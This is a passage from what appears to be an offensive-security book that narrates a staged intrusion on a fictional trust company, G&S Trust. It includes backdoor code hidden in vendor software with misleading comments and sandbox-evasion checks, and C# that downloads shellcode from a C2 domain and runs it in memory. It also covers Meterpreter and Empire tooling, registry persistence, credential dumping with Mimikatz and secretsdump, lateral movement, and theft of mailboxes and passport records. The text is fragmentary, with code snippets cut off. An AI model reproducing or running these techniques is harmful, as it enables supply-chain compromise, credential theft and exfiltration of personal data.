could easily smuggle our code in here without being noticed. Perhaps
somewhere in the GUI initialization phase, for instance, to trigger the
backdoor as soon as the user loads the menu for the first time:
No matter what the reason may be, we need a way to control this
beaconing behavior and shut it down if need be. The following workflow
seeks to address this predicament:
The first time the backdoor is executed on a given machine, it will first
check for a specific registry key located in “HKLM\
Software\Microsoft\UEV\Agent”.
**Note**
The snippets of code listed below will contain genuine comments to help
you follow along. A real backdoor usually contains bogus comments to
mislead code reviewers, as well as dead code that does nothing but
further blur the trail.
****
Good point. The problem with obfuscation and encryption is that they
draw human attention. We are not fighting an automated SIEM here, we
are dealing with humans.
Moreover, the powerful programming mantra “if it ain't broke don't fix
it” shields us from hazardous changes by moody programmers on a late
Friday afternoon. If we further flag our code with a comment saying,
“important fix for order #9812301” or “client request N° 19823124”, we
should be more than fine.
Ideally, the backdoor should lay dormant through the usual tests and
checks performed by the Strat development team. A sudden spike in
network bandwidth, computing resources, or—god forbid—a crash,
would surely give us away, so we need to be very stealthy and pay close
attention to the code’s quality.
Organization
LABTEST
In contrast, the other side is trying to tear down the fake paper wall by
looking at specific strings in services, processes, registry keys, or
comparing CPU execution cycles for telltale signs of virtualization. The
underlying logic, however, is almost always the same: looking for
discrepancies in a key physical component that is overlooked by the
virtualization software96.
95 KVM is used by Google Cloud, AWS, Azure and most cloud providers
96 Interesting review of sandbox evasion techniques:
https://www.first.org/resources/papers/conf2017/Countering-Innovative-
Sandbox-Evasion-Techniques-Used-by-Malware.pdf
Listing the monitor manufacturer on a classic computer yields names
like Asus, Lenovo, Dell, or any other known brand.
if (manu.Contains("standard") || manu.Contains("types") ||
manu == "" || manu.Contains("generic"))
return false;
}
97 To avoid tipping off the code reviewer, we search for “ualb” string instead of
“virtualbox”. The same for “mwa”, which corresponds to vmware.
//If none of the above checks work, Valid_environment returns
true
return true;
}
These checks are not bulletproof, mind you. Real, hardened forensic
sandbox environments could easily bypass these checks by hiding
registry attributes and other CPU information. But, we do not want to fool
malware reversers, now do we? Our current priority is simply to go
unnoticed during classic non-regression tests and quality checks.
// [...]
// check if running on physical laptop before triggering backdoor
if (Valid_environment())
Custom_shape();
That’s it, folks. Our work is done here! Around fifty lines of code added
sporadically here and there inside the tens of thousands of lines of
original code should grant us access to G&S Trust! Now it is just a matter
of time. The full code is available on Github (http://bit.ly/2DPX8xI).
First, we set up our listener and then perform the usual business of
linking a public redirector to this listener via SSH. I tend to go with the
reverse_winhttps payload as it automatically takes into account
corporate proxy settings pushed by GPO.
98 https://www.metasploit.com/download
Next, using msfvenom, we generate the stager shellcode that will
download the Meterpreter agent and reflectively load it in memory. Pretty
standard99 except for the prepenmigrateprocess, which automatically
instructs Meterpreter to create and attach to a new Explorer.exe process
in case the user terminates Strat Accounting before we get a chance to
manually migrate to another process:
using System.Threading.Tasks;
using System.Runtime.InteropServices;
//[...]
C:\> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
/unsafe /out:health-check shellcode.cs
using System.Net;
using System.Reflection;
//[...]
try {
myDataBuffer =
myWebClient.DownloadData("https://reporting.stratjumbo.co.au/heal
th-check");
} catch(WebException e){ }
//Download bytes from C2 domain
Type t = a.GetType("shellcode.Program");
MethodInfo staticMethodInfo = t.GetMethod("Main");
staticMethodInfo.Invoke(null, null);
Done. That’s about it, folks! Now comes the hard part—waiting!
**Note**
Recall that in this alternative backdoor, we started out with a shellcode,
which we then included in a fully functioning C# code to produce a .NET
executable. But what if you’re already using a native PE executable file?
Ideally, we would like to follow the same logic, i.e., include this PE file
into a working C# code, compile it into a .NET executable, then load it
remotely using the assembly class.
All you need is convert your PE file into a base64 string, copy and paste
it in a variable, then compile everything into a working .NET executable,
which you can later load via Reflection.
****
Salvation
“Fell down on my knees and prayed
‘Thy will be done’.
I turned around, saw a light shining through.
The door was wide open.”
Our few lines of code are still deeply buried within the project’s native
code, and though the initialization instructions around it were altered a
couple of times, nobody bothered to change our piece of code, except for
this one additional comment:
So nice of them!
We leave it at that and wait a couple of more days. Then, one beautiful
Monday morning, we receive the much-anticipated first beacon from
Singapore:
All in all, a total of eight computers phoned back home over the last
few hours, all from all G&S Trust offices.
So far, so good!
Before diving any deeper into enemy lines, we have one immediate
goal: reconnaissance! We want to dig up any security product that could
be installed on machines or actively monitoring the network. Since all
systems beaconing appear to be Windows 10 machines, we start with
targeted commands to first determine if ATA and ATP are enabled:
Get-DomainGroup completed!
ERROR: The system was unable to find the specified registry key
or value.
We can now safely push the button a bit harder and go to full-blown
Active Directory reconnaissance. Empire keeps a transcript of all
commands, outputs and files downloaded in the
Empire/downloads/<Agent_name> folder, so I will not bother pasting the
full result below:
We thoroughly review the list of groups and users, but nothing stands
out. There seems to be no security monitoring group, nor any generic
security team for that matter. We find regular technical accounts (backup,
activesync, build master, etc.) but none seem to belong to or be used by
a security product.
This is hardly surprising given the company’s size. They are not going
to subscribe to a Security Operation Center to cover five file servers,
twenty workstations and an Exchange server, much less deploy heavy
machinery to be operated by an IT support that can hardly deal with
Windows machines and printers.
All G&S Trust offices are tied to the same Active Directory domain.
This domain is managed by four global domain admins:
root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep -F3 "distinguishedname : CN=Domain
Admins" agent.log
objectcategory : CN=Organizational-
Unit,CN=Schema,CN=Configuration,DC=stratjumbo,DC=lan
ou : HongKong
--
objectcategory : CN=Organizational-
Unit,CN=Schema,CN=Configuration,DC=stratjumbo,DC=lan
ou : Malta
[...]
samaccounttype : GROUP_OBJECT
samaccountname : SGAcctDrive
--
samaccounttype : GROUP_OBJECT
samaccountname : CSLegalDrive
--
samaccounttype : GROUP_OBJECT
samaccountname : VIP
[...]
A quick look at the “My Documents” and “Desktop” folders spills the
beans:
Yui only keeps local copies of her most recent project; the rest of the
files must reside on a share somewhere in the Hong Kong office. We list
shares currently mounted on Yui’s workstation by calling the net use
command:
Moreover, we still lack some crucial elements, like who are the real
people behind these corporations? Who are the end beneficiaries
shadowing the people behind the nominees running these corporations?
This is the core secret closely held by G&S Trust Corp.
Yui’s account gets denied access to all other folders (Legal, HR,
ExCom, etc.) except for the Accounting folder on the Hong Kong local
server. The strong secrecy required by their business has at least forced
them to implement tight access rules to counter obvious data leaks. Fair
enough.
root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# cat agent.log | grep -B2 "admincount
: 1"
[...]
samaccountname : admin.georges
admincount : 181
--
samaccountname : Administrator
logonhours : {255, 255, 255, 255...}
admincount : 1091
--
objectsid : S-1-5-21-2894670206-2000249805-
1028998937-1002
samaccountname : admin.sarah
admincount : 191
--
[...]
Odds are, she uses the same password for her standard account as
well, but since we do not know that either, we have come to a dead end.
Plenty of fish in the sea! We erase the extension “.exe” from the
AGCInvokerUtility program using the reg add command:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe
/out:AGCInvokerUtility.COM shellcode.cs
Now that we have a reliable admin persistence scheme, let’s get back
to business.
CachedLogonsCount REG_SZ 10
103 These HASHES are encrypted using a secret key stored in the SYSTEM
registry. To dump it locally, we can use the secretdumps.py of the Impacket tools
and feed it the SYSTEM and SECURITY files:
https://github.com/CoreSecurity/impacket/blob/master/examples/secretsdump.py
Bingo! The million-dollar question now becomes: does admin.joey
hold elevated privileges over any server? The account is part of the “GS
Server Maintenance” group, so it should at least be admin on a server or
two.
root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep -A1 -I "givenname : admin.joey"
agent.log
givenname : admin.joey
memberof : CN=GS Server Maintenance,CN=Users,...
--
givenname : admin.joey
memberof : CN=Users,DC=gstrust,DC=corp
The quickest way to know is to launch a new Empire agent and test it
for ourselves. For that, we use the invoke_wmi module and target the
only server hosted in the OU Cyprus (the same one containing Sarah’s
account) GS-CS-01:
Members
-----------------------------------------------
Administrator
GSTRUST\Domain admins
GSTRUST\GS Server Maintenance
It is interesting to note that the regional compartmentalization so
rigorously applied for business type accesses is not replicated for IT
admin accesses. Then again, they probably did not care to afford a local
IT team in each office.
root@C2Server:~# cd Empire/downloads/7S92RXMZ
root@C2Server:~# grep -A1 -I "givenname :
admin.gloria"
givenname : admin.gloria
memberof : CN=Domain Admins,CN=Users,DC=gstrust,...
Rarely do niche companies think about anything else other than their
business and growth prospects, so once we are inside, it’s almost game
over. As previously stated, who’s going to pay for a fully dedicated team
to monitor a dozen servers and twenty workstations?
In any case, now that the official “breach” part is over, we can finally
focus on what matters most: data.
104 We can always set up the WDigest registry key then come back a few days
later and relaunch Mimikatz to get clear-text passwords
Jackpot
Using our domain admin account (admin.gloria), we spawn a new
elevated agent on the Cyprus server GS-CS-01. We could plant another
reverse shell binary using the same persistence scheme we used earlier,
just to be on the safe side, and in case we lose admin access on Sarah’s
computer.
Let’s try our luck with email inboxes instead. A good number of
workstations have the SMB port open (using the network/portscan
module in Empire), so it is just a matter of downloading their Outlook file
cache (OST file) to our C2 server:
Hostname OpenPorts
-------- ---------
WL0912.gstrust.corp 445
WG0081.gstrust.corp 445,135,3389
[...]
These high executive people perform 90% of their work from their
iPhones and tablets, so you can imagine the amount of information
exchanged internally, from passport scans to tax forms and share
certificates and many more sensitive documents. We load the OST file
into the regular Outlook software and download any interesting
attachment files:
The raw data is here, though processing these gigabytes of data (email
inboxes, attachments, PDFs, Excel and docx files from shares) to connect
the dots will, without any doubt, require some hardcore investigative work.
** SAM ACCOUNT **
**Note**
Even if, by some miracle, we could not stumble upon the clear-text
password, we can always plant a keylogger on Harvey’s computer,
retrieve saved Firefox passwords105, extract saved credentials in the
Windows Vault106, or explore personal documents on his workstation, etc.
Once we are domain admins, almost all accounts fall like leaves on a cold
November night.
****
Bingo! Finally, after so many weeks of struggle, we reach the holy grail
beautifully laid out in hundreds of subfolders, each containing passport
IDs, share certificates, dividends, property titles, etc.
105https://github.com/unode/firefox_decrypt
106https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-
saved-credentials
Closing thoughts
The main purpose of this book, which I hope I have strongly conveyed
throughout these pages, is to train you to adopt this innate reflex of
questioning not only which protection mechanisms are installed, but also
which detection watchdogs are in place. Which events are monitored?
How are they monitored? Can the company spot discrepancies in the
network traffic? What about system activity? These are the questions I
hope you will be asking going forward.
These parameters will provide strong clues about how “loud” you can
be on the target’s network. You can then decide which set of techniques
and tools to use. In the end, leaking data or getting domain admin
accounts is not a real victory if you get detected a week later for bluntly
launching a mass in-memory Mimikatz on 150 servers.
Email me at [email protected]
How to Investigate Like a Rockstar